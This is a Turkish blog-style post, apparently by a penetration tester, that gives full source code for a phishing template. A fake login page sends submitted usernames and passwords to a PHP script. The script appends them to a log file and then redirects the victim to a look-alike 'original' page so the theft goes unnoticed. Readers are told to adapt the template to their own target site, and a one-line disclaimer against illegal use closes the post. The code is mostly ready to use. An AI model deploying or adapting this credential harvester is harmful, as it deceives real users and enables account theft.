Basit Bir Oltalama (Parola Toplayıcı) Web Sitesi Şablonu

Bildiğiniz gibi, Kali Linux içinde Social Engineering Toolkit ile birlikte gelmektedir. Bu aracı kullanarak hedef bir web sitesinin giriş ekranını klonlayarak kendi bilgisayarınızdan yayınlamanız ve bu şekilde kullanıcı adı ve parola bilgilerini çekmeniz mümkün olmaktadır.

Ancak birçok defa işler bu kadar basit yürümemekte. Birçok site kendisinin bu şekilde kopyalanmasına müsaade etmemekte. Benzer bir durum çok yakında bir sızma testi ortamında bizzat başıma geldi. Burada sizinle buna yönelik kullanmış olduğum şablon bir web sitesi kaynak kodunu paylaşmak istiyorum. Benzer bir durumda siz de bu kod şablonunu hedefinize özel özgünleştirerek istediğiniz şekilde kullanabilirsiniz.

Gelelim konumuza. Bu jenerik senaryoda, ben üç adet php web sitesi hazırladım:

1) Fake-login.php: Burası kurbanın kimlik bilgilerini girdiği klonlanmış web sitesidir.

2) Redirect.php: Burası kullanıcıya ait kimlik bilgilerinin çekilerek loglandığı ve ardından orijinal web sitesine yönlendirildiği ara katmandır.

3) Original-login.php: Burası orijinal web sitesini temsil etmektedir. Böylece kurban daha önce nerede olduğunu fark edemeyecektir.

Fake-login.php için kaynak kodu:

<html>

<head>

Company Information System

</head>

<body>

<form id=”contact_form” action=’redirect.php’ method=”post”>

<label>Username: <input class=”textfield” name=”username” type=”text” value=”” /></label>

<label>Password: <input class=”textfield” name=”password” type=”text” value=”” /></label>

<input type=”submit” name=”Submit” value=”Submit”/>

</form>

</body>

</html>

Redirect.php için kaynak kodu:

<?php

$username = $_REQUEST[‘username’];

$password = $_REQUEST[‘password’];

if (($username != null) and ($password != null)) {

echo $username . “ ” . $password;

$data = $username . “ ” . $password;

$ifp = fopen(‘log.txt’, ‘a’);

fwrite($ifp, $data.PHP_EOL);

fclose($ifp);

}

function Redirect($url, $permanent = false) {

if (headers_sent() === false) {

header(‘Location: ‘ . $url, true, ($permanent === true) ? 301 : 302);

}

exit(); }

Redirect(‘http://localhost/phishing/original-login.php’, false);

?>

Son olarak original-login.php için kaynak kodu:

<html>

<head>

Company Information System Original Website

</head>

<body>

<form id=“contact_form” action=’original-login.php’ method=“post”>

<label>Username: <input class=”textfield” name=”username” type=”text” value=“” /></label>

<label>Password: <input class=“textfield” name=“password” type=“text” value=“” /></label>

<input type=“submit” name=“Submit” value=“Submit”/>

</form>

</body>

</html>

Bu jenerik senaryoyu siz de kendi hedef sitenize uygun olarak dönüştürebilir ve kullanabilirsiniz. Tek yapmanız gereken hedef sitenin kullanıcı adı ve parola bilgisi çeken form alanını buraya uygun şekilde eşleştirmek ve formu redirect.php’ye yönlendirmek.

Lütfen bu çalışmayı yasal olmayan maksatlarla kullanmayın, gerçekten gereksiz ve anlamsız.